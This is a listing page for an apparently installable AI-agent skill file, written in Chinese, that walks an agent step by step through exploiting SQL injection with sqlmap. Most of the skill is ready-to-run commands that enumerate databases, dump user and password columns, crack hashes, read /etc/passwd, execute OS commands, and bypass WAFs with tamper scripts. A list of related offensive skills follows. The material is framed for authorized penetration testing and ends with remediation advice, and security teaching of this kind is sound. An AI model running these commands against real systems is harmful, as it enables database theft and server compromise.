Best use case
exploiting-sql-injection-with-sqlmap is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
Teams using exploiting-sql-injection-with-sqlmap should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-sql-injection-with-sqlmap/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-sql-injection-with-sqlmap Compares
| Feature / Agent | exploiting-sql-injection-with-sqlmap | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 使用 sqlmap 利用 SQL 注入漏洞(Exploiting SQL Injection with sqlmap) ## 适用场景 - 在授权的 Web 应用程序渗透测试任务中 - 当手动测试发现参数、请求头或 Cookie 中存在潜在 SQL 注入点时 - 用于验证 Burp Suite 或 OWASP ZAP 等自动扫描器发现的 SQL 注入问题时 - 需要通过从后端数据库提取数据来证明 SQL 注入影响时 - 在涉及 SQL 注入利用的 CTF 挑战中 ## 前置条件 - **授权**:针对目标的书面渗透测试协议(交战规则) - **sqlmap**:通过 `pip install sqlmap` 或在 Kali Linux 上 `apt install sqlmap` 安装 - **Python 3.6+**:sqlmap 所需的运行时 - **Burp Suite**(可选):用于捕获和重放 HTTP 请求 - **目标访问权限**:与目标 Web 应用程序的网络连接 - **带代理的浏览器**:使用 FoxyProxy 的 Firefox,用于拦截请求 ## 工作流程 ### 步骤 1:识别潜在注入点 手动浏览应用程序,识别与数据库交互的参数。使用 Burp Suite 捕获请求。 ```bash # 启动 Burp Suite 代理并捕获请求 # 在 URL、POST 体、Cookie 和请求头中查找参数 # 目标 URL 示例,其中包含疑似可注入参数: # https://target.example.com/products?id=1 # 手动测试基本 SQL 注入指标 curl -k "https://target.example.com/products?id=1'" # 查找如下 SQL 错误消息: # - "You have an error in your SQL syntax" # - "ORA-01756: quoted string not properly terminated" # - "Microsoft SQL Native Client error" ``` ### 步骤 2:运行 sqlmap 基础检测扫描 针对疑似注入点启动 sqlmap,确认漏洞并识别数据库类型。 ```bash # 基本 GET 参数测试 sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent # POST 请求(将 Burp Suite 的请求保存到文件) sqlmap -r request.txt --batch --random-agent # 测试 POST 请求中的特定参数 sqlmap -u "https://target.example.com/login" \ --data="username=admin&password=test" \ -p "username" --batch --random-agent # 测试基于 Cookie 的注入 sqlmap -u "https://target.example.com/dashboard" \ --cookie="session=abc123; user_id=5" \ -p "user_id" --batch --random-agent ``` ### 步骤 3:枚举数据库结构 确认注入后,枚举数据库、数据表和列。 ```bash # 列出所有数据库 sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent # 列出特定数据库中的数据表 sqlmap -u "https://target.example.com/products?id=1" \ -D target_db --tables --batch --random-agent # 列出特定数据表中的列 sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --columns --batch --random-agent ``` ### 步骤 4:从目标表中提取数据 导出敏感表的内容以证明影响。 ```bash # 从数据表中导出特定列 sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users -C "username,password,email" \ --dump --batch --random-agent # 限制行数导出,避免过度数据提取 sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --dump --start=1 --stop=10 \ --batch --random-agent # 尝试自动破解密码哈希 sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users -C "username,password" \ --dump --batch --passwords --random-agent ``` ### 步骤 5:测试高级利用向量 通过测试操作系统级别访问和文件操作评估完整影响。 ```bash # 检查当前数据库用户和权限 sqlmap -u "https://target.example.com/products?id=1" \ --current-user --current-db --is-dba --batch --random-agent # 尝试读取服务器文件(如果存在 DBA 权限) sqlmap -u "https://target.example.com/products?id=1" \ --file-read="/etc/passwd" --batch --random-agent # 尝试执行操作系统命令(MySQL 具有 FILE 权限时) sqlmap -u "https://target.example.com/products?id=1" \ --os-cmd="whoami" --batch --random-agent ``` ### 步骤 6:使用 Tamper 脚本绕过 WAF/过滤器 当 WAF(Web 应用程序防火墙)或输入过滤器拦截基本载荷时,使用 Tamper 脚本。 ```bash # 常用的 WAF 绕过 Tamper 脚本 sqlmap -u "https://target.example.com/products?id=1" \ --tamper="space2comment,between,randomcase" \ --batch --random-agent # 针对特定 WAF 的绕过(例如 ModSecurity) sqlmap -u "https://target.example.com/products?id=1" \ --tamper="modsecurityversioned,modsecurityzeroversioned" \ --batch --random-agent # 列出所有可用的 Tamper 脚本 sqlmap --list-tampers ``` ### 步骤 7:生成报告并清理 记录发现结果并清理所有产生的文件。 ```bash # sqlmap 将结果存储在 ~/.local/share/sqlmap/output/ # 查看目标输出目录 ls -la ~/.local/share/sqlmap/output/target.example.com/ # 指定输出目录导出结果 sqlmap -u "https://target.example.com/products?id=1" \ -D target_db -T users --dump \ --output-dir="/tmp/pentest-results" \ --batch --random-agent # 任务结束后清理 sqlmap 会话数据 sqlmap --purge ``` ## 核心概念 | 概念 | 定义 | |---------|-------------| | **联合查询 SQLi(Union-based SQLi)** | 使用 UNION SELECT 将攻击者的查询结果附加到原始查询输出中 | | **布尔盲注(Blind Boolean SQLi)** | 通过观察应用程序的真/假响应,每次推断一位数据 | | **时间盲注(Blind Time-based SQLi)** | 使用数据库睡眠函数(如 `SLEEP(5)`)基于响应延迟推断数据 | | **报错注入(Error-based SQLi)** | 通过 HTTP 响应中返回的详细数据库错误消息提取数据 | | **堆叠查询(Stacked Queries)** | 通过分号分隔多条 SQL 语句,执行 INSERT/UPDATE/DELETE 操作 | | **带外注入(Out-of-band SQLi)** | 通过数据库服务器发起的 DNS 或 HTTP 请求外泄数据 | | **Tamper 脚本(Tamper Scripts)** | sqlmap 插件,用于修改载荷以绕过 WAF 和输入清理过滤器 | | **二阶注入(Second-order SQLi)** | 注入的载荷被存储,稍后在不同查询上下文中执行 | ## 工具与系统 | 工具 | 用途 | |------|---------| | **sqlmap** | 自动化 SQL 注入检测与利用框架 | | **Burp Suite Professional** | 用于拦截、修改和重放请求的 HTTP 代理 | | **OWASP ZAP** | Burp 的免费替代品,用于 Web 应用扫描和代理 | | **Havij** | 带 GUI 的自动化 SQL 注入工具(Windows) | | **jSQL Injection** | 基于 Java 的 SQL 注入测试 GUI 工具 | | **DBeaver/DataGrip** | 用于验证提取数据结构的数据库客户端 | ## 常见场景 ### 场景 1:电商商品页面 SQLi 商品详情页直接在 SQL 查询中使用 `id` 参数。使用 sqlmap 提取完整的客户数据库(包含支付信息)以证明严重的业务影响。 ### 场景 2:登录表单绕过 登录表单将用户输入拼接到认证查询中。利用漏洞绕过认证并枚举数据库中存储的所有用户凭证。 ### 场景 3:带 WAF 保护的搜索功能 搜索功能存在 SQL 注入漏洞,但受 WAF 保护。使用 `space2comment` 和 `between` 等 Tamper 脚本对载荷进行编码并绕过过滤规则。 ### 场景 4:基于 Cookie 的盲 SQL 注入 Cookie 值在服务器端被用于数据库查询。使用基于时间的盲注技术逐字符提取数据。 ## 输出格式 ``` ## SQL 注入发现报告 **漏洞**:SQL 注入(联合查询型) **严重性**:严重(CVSS 9.8) **位置**:/products?id=1 处的 GET 参数 `id` **数据库**:MySQL 8.0.32 **影响**:完整数据库读取权限,15,000 条用户记录已暴露 **OWASP 类别**:A03:2021 - 注入 ### 证据 - 注入点:`id` 参数(GET) - 技术:联合查询型 - 后端 DBMS:MySQL >= 5.0 - 当前用户:app_user@localhost - DBA 权限:否 ### 已枚举的数据库 1. information_schema 2. target_app_db 3. mysql ### 已暴露的敏感数据 - 数据表:users(15,247 行) - 列:id、username、email、password_hash、created_at ### 修复建议 1. 对所有数据库交互使用参数化查询(预编译语句) 2. 对预期数据类型实施基于白名单的输入验证 3. 为应用程序用户应用最小权限数据库权限 4. 部署 WAF 作为纵深防御 5. 启用数据库查询日志记录和异常模式监控 ```
Related Skills
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。
testing-for-email-header-injection
测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。
performing-packet-injection-attack
在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。
hunting-for-process-injection-techniques
通过 Sysmon 事件 ID 8 和 10 以及 EDR 进程遥测,检测进程注入技术(T1055),包括 CreateRemoteThread、进程空洞化和 DLL 注入。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
exploiting-template-injection-vulnerabilities
检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。
exploiting-sql-injection-vulnerabilities
在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。